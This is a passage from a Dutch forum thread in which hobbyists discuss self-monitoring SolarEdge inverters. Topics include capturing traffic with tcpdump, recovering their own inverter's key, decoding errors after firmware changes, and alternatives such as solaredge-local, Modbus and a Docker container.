ZwarteIJsvogel schreef op zondag 28 juli 2019 @ 10:52:
[...]

De foutmelding zegt het al: tcpdump is niet geïnstalleerd. Dus:
code:
1
sudo apt install tcpdump
code:
1
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes


Yes, thanks!

Acties:
  • 0 Henk 'm!

  • Rolfie
  • Registratie: Oktober 2003
  • Laatst online: 17-09 15:29
Ik heb sinds vorige week ook mijn zonnepanelen icm een solaredge SE 3500 HD Wave.

Ik heb eerst op mijn pfsense firewall een tcpdump geconfigureerd zoals aangegeven in de voorbeelden. Deze maakt netjes de dumps. Echter ik zie helemaal geen verbinding op TCP22222 of TCP22221.

Nu dacht ik dat ik mijn tcpdump verkeerd geconfigureerd was, dus heb een specifieke firewall rule gemaakt op TCP22221-TCP-22223. Echter deze heeft ook geen enkele hit.

Afbeeldingslocatie: https://i.ibb.co/XYBsNtY/2019-07-29-11-38-18.png

Ondertussen heb ik ook een tcpdump lopen op een linux machine op een port mirror op een switch. Ik zie netjes TCP verkeer voorbij komen, echter tussen als dit verkeer, komt TCP22222 of TCP22221 ook niet voor. Al het verkeer gaat over https.
Zouden ze toevallig het 1 en ander aangepast hebben, waardoor communicatie tegenwoordig anders loopt?
code:
1
2
3
4
5
Solaredge SE 3500 HD Wave
CPU Version:     4.5.41
DSP1 Version:    1.0.751
DSP2 Version:    2.0.608
WSA Version:     1.1.12

Nu was het wel zo dat ICMP niet toegestaan was vanuit dit VLAN. Dit heb ik nu aangepast, en misschien gaat die nu wel communiceren over TCP22222/TCP22221?

Iemand nog tips of ideeën?

Maar de monitor portaal van solaredge werkt gewoon en de informatie wordt gewoon verzonden en kan ik uitlezen. Alles werkt dus wel gewoon.

Acties:
  • 0 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
Rolfie schreef op maandag 29 juli 2019 @ 11:55:
Ik heb sinds vorige week ook mijn zonnepanelen icm een solaredge SE 3500 HD Wave.

Ik heb eerst op mijn pfsense firewall een tcpdump geconfigureerd zoals aangegeven in de voorbeelden. Deze maakt netjes de dumps. Echter ik zie helemaal geen verbinding op TCP22222 of TCP22221.

Nu dacht ik dat ik mijn tcpdump verkeerd geconfigureerd was, dus heb een specifieke firewall rule gemaakt op TCP22221-TCP-22223. Echter deze heeft ook geen enkele hit.

[Afbeelding]

Ondertussen heb ik ook een tcpdump lopen op een linux machine op een port mirror op een switch. Ik zie netjes TCP verkeer voorbij komen, echter tussen als dit verkeer, komt TCP22222 of TCP22221 ook niet voor. Al het verkeer gaat over https.
Zouden ze toevallig het 1 en ander aangepast hebben, waardoor communicatie tegenwoordig anders loopt?
code:
1
2
3
4
5
Solaredge SE 3500 HD Wave
CPU Version:     4.5.41
DSP1 Version:    1.0.751
DSP2 Version:    2.0.608
WSA Version:     1.1.12

Nu was het wel zo dat ICMP niet toegestaan was vanuit dit VLAN. Dit heb ik nu aangepast, en misschien gaat die nu wel communiceren over TCP22222/TCP22221?

Iemand nog tips of ideeën?

Maar de monitor portaal van solaredge werkt gewoon en de informatie wordt gewoon verzonden en kan ik uitlezen. Alles werkt dus wel gewoon.
Is je omvormer met of zonder display?

Acties:
  • 0 Henk 'm!

  • Rolfie
  • Registratie: Oktober 2003
  • Laatst online: 17-09 15:29
René Janssen schreef op maandag 29 juli 2019 @ 12:21:
Is je omvormer met of zonder display?
Zonder display

Acties:
  • 0 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
Heb ik ook, en al vanalles geprobeerd, maar de software van Jerry krijg je er niet mee aan de gang. Hij schrijft dit ook in zijn eerste topic.
Een andere optie is wat ik gebruikt heb. Solaredge-local. Zie mijn laatste paar berichten.
Grts René

Acties:
  • +1 Henk 'm!

  • Rolfie
  • Registratie: Oktober 2003
  • Laatst online: 17-09 15:29
René Janssen schreef op maandag 29 juli 2019 @ 12:56:
Heb ik ook, en al vanalles geprobeerd, maar de software van Jerry krijg je er niet mee aan de gang. Hij schrijft dit ook in zijn eerste topic.
Een andere optie is wat ik gebruikt heb. Solaredge-local. Zie mijn laatste paar berichten.
Grts René
Dan ga ik maar de solaredge-local aan de slag. Mooi moment om eens met python te gaan stoeien. Nog nooit eerder gebruikt.

[ Voor 4% gewijzigd door Rolfie op 29-07-2019 17:47 ]


Acties:
  • 0 Henk 'm!

  • janssuhhh
  • Registratie: Juni 2005
  • Laatst online: 12-09 12:18
Wiley99 schreef op zaterdag 20 juli 2019 @ 21:20:
[...]


Selfquote...
Heb het gevonden hoewel ik geen idee heb waarom het gebeurt:
-het domoticz 'apparaat' (SE) dat de energie en vermogen van het python script doorkrijgt springt iets na middernacht naar zijn eigen negatieve waarde (dus was bijv. 5439, springt naar -5439), aldus de domoticz.txt
De nohup.out laat netjes zien dat vanaf 0:00u ook nullen verstuurd worden door python
- daardoor raakt de counter van het kWh apparaat dat mijn netto verbruik betekent in de war
- ongeveer 5-6 minuten later springt de SE wel naar 0 maar dan springt de counter van het bruto verbruik naar de oude opwekwaarde en blijft de hele dag veel te hoog.

Oplossing is effectief maar erg onbevredigend: max(0, energy) gebruiken zodat geen negatieve waardes de boel ontregelen

Misschien een bug of timing issue in de laatste stable. Misschien ooit in de test vm maat eens de beta proberen.
Hey Wiley,

Waar heb je die max(0, energy) gebruikt/verwerkt als ik vragen mag.
Ik draai sinds vandaag dat scriptje van KrL icm solaredge-local om mijn SE4k SetApp uit te lezen.
Tot nu toe gaat het goed, maar het is dan ook nog geen 00:00 geweest.

Mocht het hier dan ook verkeerd gaan, weet ik in ieder geval welke aanpassing dit kan verhelpen.

2-1-kap (1977) 150m² | Vloerverwarming all the way | Quatt Duo | 18 Zonnepanelen (SolarEdge + GoodWe)


Acties:
  • +1 Henk 'm!

  • Strykeforce
  • Registratie: Maart 2010
  • Laatst online: 16-09 11:25
Rolfie schreef op maandag 29 juli 2019 @ 17:20:
[...]

Dan ga ik maar de solaredge-local aan de slag. Mooi moment om eens met python te gaan stoeien. Nog nooit eerder gebruikt.
Iemand heeft er al een keer een script voor gemaakt https://gitlab.com/snippets/1853864#L9

Ik heb er vervolgens nog een docker container van gemaakt https://hub.docker.com/r/maartenvana/solaredge-to-influxdb

Enige nadeel is dat het script één a twee keer per dag nog crasht omdat de foutafhandeling niet afdoende is. Met de docker container op --restart=always herstart ie automatisch en is het nog niet nodig geweest dit te fixen, maar wees vrij om een pull request in te dienen indien je dit wel voor elkaar krijgt :P ik heb er nog geen tijd voor gehad.

Het wordt denk ik ook tijd dat de openings post een beetje opgeschoond wordt. Met de nieuwe omvormers is er geen afluisteren meer mogelijk. @Jerrythafast Misschien een goed idee oud vs nieuw te beschrijven in de topic start?

Acties:
  • +1 Henk 'm!

  • Rolfie
  • Registratie: Oktober 2003
  • Laatst online: 17-09 15:29
Strykeforce schreef op dinsdag 30 juli 2019 @ 07:30:
Het wordt denk ik ook tijd dat de openings post een beetje opgeschoond wordt. Met de nieuwe omvormers is er geen afluisteren meer mogelijk. @Jerrythafast Misschien een goed idee oud vs nieuw te beschrijven in de topic start?
Ik denk dat dit zeker een goede / positieve kan zijn. Of een nieuw topic, of er duidelijker in vermelden dat het in de nieuwe solaredge niet meer mogelijk is om het op deze manier te doen.

Want om er na 64 pagina's achter te komen, dat het huidige script, met de nieuwste versies van solaredge niet meer mogelijk is, is wat jammer voor toekomstige gebruikers.

Acties:
  • 0 Henk 'm!

  • ZwarteIJsvogel
  • Registratie: Juni 2008
  • Laatst online: 17-09 12:41

ZwarteIJsvogel

Zuid-Limburg

(verwijderd: verkeerd topic)

[ Voor 91% gewijzigd door ZwarteIJsvogel op 30-07-2019 16:39 ]


Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
rjhilbrink schreef op woensdag 17 juli 2019 @ 09:46:
[...]

Dat kan, is geen probleem. Echter nu een beetje moeilijk.. maar misschien over een week of 3 ;-)
Die 3 weken zijn helaas nog niet om, maar zie je kans iets te delen? Of in de richting van je bron te sturen, als je het niet zelf hebt geschreven uiteraard.

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • 0 Henk 'm!

  • stefxx
  • Registratie: Februari 2016
  • Laatst online: 21:44
Ik heb een SE5000H. Deze heeft een jaar lang zonder problemen middels deze prachtige scripts data gelogd. Echter, door een ongelukje ben ik de key en pcap files kwijt. Ik moet dus opnieuw de key achterhalen.

Echter, er is geen USB en geen RS232 poort op deze omvormer aanwezig. Welke opties heb ik nog meer? Via RS485 lukt het me niet om middels het get-key-by-rs232-verbose.py script iets uit de omvormer te krijgen :(

Dank!

Acties:
  • 0 Henk 'm!

  • rjhilbrink
  • Registratie: Oktober 2007
  • Laatst online: 17-09 20:38
MaikelK. schreef op dinsdag 30 juli 2019 @ 16:31:
[...]


Die 3 weken zijn helaas nog niet om, maar zie je kans iets te delen? Of in de richting van je bron te sturen, als je het niet zelf hebt geschreven uiteraard.
Ik ben met pymodbus aan de slag gegaan icm twisted. Twisted zorgt ervoor dat meerdere processen gelijk lopen. Een deel van het script haalt elke 10 sec de meterstanden op en zet deze in de juiste registers. Pymodbus doet de rest richting de SE. in de SE kun je aangeven dat je een energy meter hebt. De SE gaat deze dan gelijk uitlezen via rs 485.

PV: Panasonic HIT Kuro/SolarEdge HD Wave 4.225 kWp verdeeld over 2600 Zuid Oost en 1625 Noord West


Acties:
  • 0 Henk 'm!

  • stefxx
  • Registratie: Februari 2016
  • Laatst online: 21:44
[b]stefxx in "[SolarEdge] Omvormers en optimizers zelf monitoren"Via RS485 lukt het me niet om middels het get-key-by-rs232-verbose.py script iets uit de omvormer te krijgen :(
Inmiddels is het gelukt. Het kan wel degelijk via RS485 and het get-key-by-rs232.py script. Maar je moet de rs485 kabel wel goed aansluiten 8)7

Maar nu blijkt dat dat helemaal het probleem niet was. Ook met de juiste key blijf ik fouten krijgen, hier een paar voorbeelden:
Warning! Got 22 mysterious bytes left! (state=0)
1d 36 92 d2 17 3b 54 32 9b 7f f8 74 9a 41 8b 29 21 9e 16 7f bd a8
Warning! Got 22 mysterious bytes left! (state=0)
23 20 69 57 03 21 42 4a 83 15 e6 1d 4c ab bd b1 6b b4 85 87 66 3e
Warning! Got 78 mysterious bytes left! (state=0)
7e f7 08 51 86 e7 86 51 05 b7 97 65 4f 87 57 c1 bf aa 4a f7 8d f5 f4 26 ec 30 aa d5 98 2a 6f 08 02 67 3f 45 0e 18 2e 53 c7 b3 85 14 5e a5 61 2d dc c2 fd b4 9e 1c 5f e3 2b ab 99 8e af c8 51 f5 0f e6 a5 17 f1 ed 59 eb 5e ee c6 ed 3f 8f
Warning! Got 88 mysterious bytes left! (state=0)
fd 91 89 cf 22 1a 14 8d f1 b1 df e7 1e 37 a1 54 7b 45 48 c0 9a ee 9d 80 41 d1 79 d8 c4 d8 dd a8 db 4c 83 2f 01 33 6e 6a 4f fd 29 8f c5 49 d9 a5 ad 80 56 68 97 0d d0 f0 28 91 1b 54 15 4e 2f 9a af b3 24 1c 72 79 e3 be 60 bd 20 42 d0 a9 93 ea 1c fc d9 88 d8 31 ad c5

De dag waarop het misging (17 juli), heeft ook een significant grotere pcap file (10x zo groot!), dus daar is iets raars gebeurd. Nieuwe firmware van het een of ander wellicht? Alle pcap files van daarna geven bovenstaande errors, oudere pcap files kan ik nog steeds prima verwerken...

Iemand die hier chocola van kan maken?

Acties:
  • 0 Henk 'm!

  • stefxx
  • Registratie: Februari 2016
  • Laatst online: 21:44
Ok, inmiddels met de juiste key in het juiste formaat werkt het weer... allemaar user errors dus.

Nu nog 1 laatste gek iets, de database wordt als een dolle weer gevuld met optimzer data, maar er lijkt geen enkele inverter data meer voorbij te komen. Ik heb met mijn zeer beperkte python kennis wat debugging gedaan in het liveupdate.py script, en kom tot de conclusie dat deze conditie:

elif type == 0x0010 and length in (124, 174, 180): # 1ph inverter

nooit meer aan voldaan wordt. Hoe kan dat??? Is er dan toch iets veranderd in het protocol half juli?

Acties:
  • 0 Henk 'm!

  • MaikelK.
  • Registratie: Maart 2013
  • Laatst online: 16-05 13:04
rjhilbrink schreef op woensdag 31 juli 2019 @ 22:38:
[...]

Ik ben met pymodbus aan de slag gegaan icm twisted. Twisted zorgt ervoor dat meerdere processen gelijk lopen. Een deel van het script haalt elke 10 sec de meterstanden op en zet deze in de juiste registers. Pymodbus doet de rest richting de SE. in de SE kun je aangeven dat je een energy meter hebt. De SE gaat deze dan gelijk uitlezen via rs 485.
Oke, dan ben ik toch erg benieuwd naar je scripts, dit zou ik ook graag willen doen!

SolarEdge SE3500HD met 12x LG320N1K-A5 waarvan 6x ZO en 6x NW


Acties:
  • +1 Henk 'm!
Strykeforce schreef op dinsdag 30 juli 2019 @ 07:30:
Het wordt denk ik ook tijd dat de openings post een beetje opgeschoond wordt. Met de nieuwe omvormers is er geen afluisteren meer mogelijk. @Jerrythafast Misschien een goed idee oud vs nieuw te beschrijven in de topic start?
Ik ben ervoor om de OP aan te passen zodat er een duidelijke scheiding is tussen SetApp en oudere omvormers. Ik had het al een beetje aangepast zodat erbij staat dat de huidige OP niet voor SetApp omvormers gaat werken maar mij ontbreekt nog het overzicht van wat er dan precies wél mogelijk is. Dus als iemand daar een volledive handleiding voor kan aanleveren maak ik er graag een co-auteurschap van om de OP voor iedereen nuttig te maken ;) Aan degene die dat op zich kan en wil nemen: stuur even een persoonlijk berichtje!

Acties:
  • 0 Henk 'm!
stefxx schreef op vrijdag 2 augustus 2019 @ 22:00:
Ok, inmiddels met de juiste key in het juiste formaat werkt het weer... allemaar user errors dus.

Nu nog 1 laatste gek iets, de database wordt als een dolle weer gevuld met optimzer data, maar er lijkt geen enkele inverter data meer voorbij te komen. Ik heb met mijn zeer beperkte python kennis wat debugging gedaan in het liveupdate.py script, en kom tot de conclusie dat deze conditie:

elif type == 0x0010 and length in (124, 174, 180): # 1ph inverter

nooit meer aan voldaan wordt. Hoe kan dat??? Is er dan toch iets veranderd in het protocol half juli?
Lijkt erop dat je inderdaad een update hebt gehad en je omvormer meer of andere data is gaan sturen. Heb je een recente pcap voor me? Dan kan ik even kijken wat er veranderd is.

Acties:
  • 0 Henk 'm!

  • ZwarteIJsvogel
  • Registratie: Juni 2008
  • Laatst online: 17-09 12:41

ZwarteIJsvogel

Zuid-Limburg

Jerrythafast schreef op woensdag 7 augustus 2019 @ 12:14:
Ik had het al een beetje aangepast zodat erbij staat dat de huidige OP niet voor SetApp omvormers gaat werken maar mij ontbreekt nog het overzicht van wat er dan precies wél mogelijk is.
De officiële (gedocumenteerde) weg is net als bij de non-Setapp firmware via Modbus (over RS-485 of TCP) of via de SolarEdge monitoring API. Maar dan zijn je mogelijkheden zoals bekend beperkt. De enige andere route lijkt de op Google Protocol Buffers gebaseerde web service in de 4.x firmware (zie hier voor een tip van de sluier).

Acties:
  • 0 Henk 'm!

  • René Janssen
  • Registratie: Juli 2019
  • Laatst online: 14-08-2023
ZwarteIJsvogel schreef op donderdag 8 augustus 2019 @ 10:18:
[...]

De officiële (gedocumenteerde) weg is net als bij de non-Setapp firmware via Modbus (over RS-485 of TCP) of via de SolarEdge monitoring API. Maar dan zijn je mogelijkheden zoals bekend beperkt. De enige andere route lijkt de op Google Protocol Buffers gebaseerde web service in de 4.x firmware (zie hier voor een tip van de sluier).
Hoi je hebt 't hier over Solaredge-local. Ik hierover een aantal postjes geleden een paar php/python scriptjes geplaatst over hoe je dit kunt uitlezen en in een database kunt zetten.

grts René
Pagina: 1 ... 16 ... 28 Laatste

Let op:
Dit topic is bedoeld voor discussies rondom het zelf uitlezen van solaredge omvormers, dus buiten de standaard monitoring.
Voor algemene solaredge vragen is er Het grote SolarEdge topic